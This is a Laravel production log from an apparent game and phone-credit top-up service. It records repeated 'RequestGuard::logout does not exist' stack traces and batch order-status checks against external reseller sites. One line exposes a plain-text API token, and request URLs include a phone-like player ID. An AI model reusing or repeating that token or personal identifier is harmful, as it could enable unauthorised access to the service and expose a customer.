#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:31:51] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:32:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03"} 
[2026-03-24 22:32:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","total_operations":2,"sites_count":2} 
[2026-03-24 22:32:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wgI-1774379855"]} 
[2026-03-24 22:32:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:32:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:32:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:32:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:32:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:32:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":1,"order_ids":["ORD-oAPqaG-1774380610"]} 
[2026-03-24 22:32:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:32:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":1} 
[2026-03-24 22:32:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPqaG-1774380610","operation_id":164350,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 22:32:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPqaG-1774380610","operation_id":164350,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:32:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPqaG-1774380610","operation_id":164350,"count":1} 
[2026-03-24 22:32:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPqaG-1774380610","operation_id":164350,"count":1} 
[2026-03-24 22:32:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPqaG-1774380610","operation_id":164350,"user_id":1734,"notification_type":"order_approved","reference_id":179480} 
[2026-03-24 22:32:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPqaG-1774380610","operation_id":164350,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:32:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPqaG-1774380610","operation_id":164350,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:32:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPqaG-1774380610","operation_id":164350,"processed":1,"errors":0} 
[2026-03-24 22:32:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPqaG-1774380610","operation_id":164350,"processed":1,"errors":0} 
[2026-03-24 22:32:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6HCvbE3VBkYeoVRYemwWqvUHkYp4hKv2","execution_time":"2026-03-24 22:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPqaG-1774380610","operation_id":164350} 
[2026-03-24 22:32:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1734  
[2026-03-24 22:32:29] production.INFO: Constructing job for order: 179483  
[2026-03-24 22:32:30] production.INFO: Handling job for order: 179483  
[2026-03-24 22:32:30] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:32:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:32:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/33/params?qty=1&uuid=701ed84e-c666-4b57-887c-7be8fe6a2565&Player_ID=0988148292  
[2026-03-24 22:32:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/33/params?qty=1&uuid=701ed84e-c666-4b57-887c-7be8fe6a2565&Player_ID=0988148292","has_body":false} 
[2026-03-24 22:32:31] production.INFO: Operation sent successfully {"operation_id":164353,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tbS2-1774380751","amount":25.366330000000001376747604808770120143890380859375,"status":"processing","product":"24.04 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 22:32:31"}},"processed_data":{"order_number":"ORD-tbS2-1774380751","amount":25.366330000000001376747604808770120143890380859375,"status":"processing","product":"24.04 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 22:34:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01"} 
[2026-03-24 22:34:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","total_operations":2,"sites_count":2} 
[2026-03-24 22:34:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wgI-1774379855"]} 
[2026-03-24 22:34:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:34:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:34:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:34:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:34:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:34:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":1,"order_ids":["ORD-tbS2-1774380751"]} 
[2026-03-24 22:34:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:34:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":1} 
[2026-03-24 22:34:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbS2-1774380751","operation_id":164353,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 22:34:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbS2-1774380751","operation_id":164353,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:34:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbS2-1774380751","operation_id":164353,"count":1} 
[2026-03-24 22:34:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbS2-1774380751","operation_id":164353,"count":1} 
[2026-03-24 22:34:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbS2-1774380751","operation_id":164353,"user_id":34,"notification_type":"order_approved","reference_id":179483} 
[2026-03-24 22:34:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbS2-1774380751","operation_id":164353,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:34:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbS2-1774380751","operation_id":164353,"total_processed":1,"total_errors":0,"chunks_processed":1} 
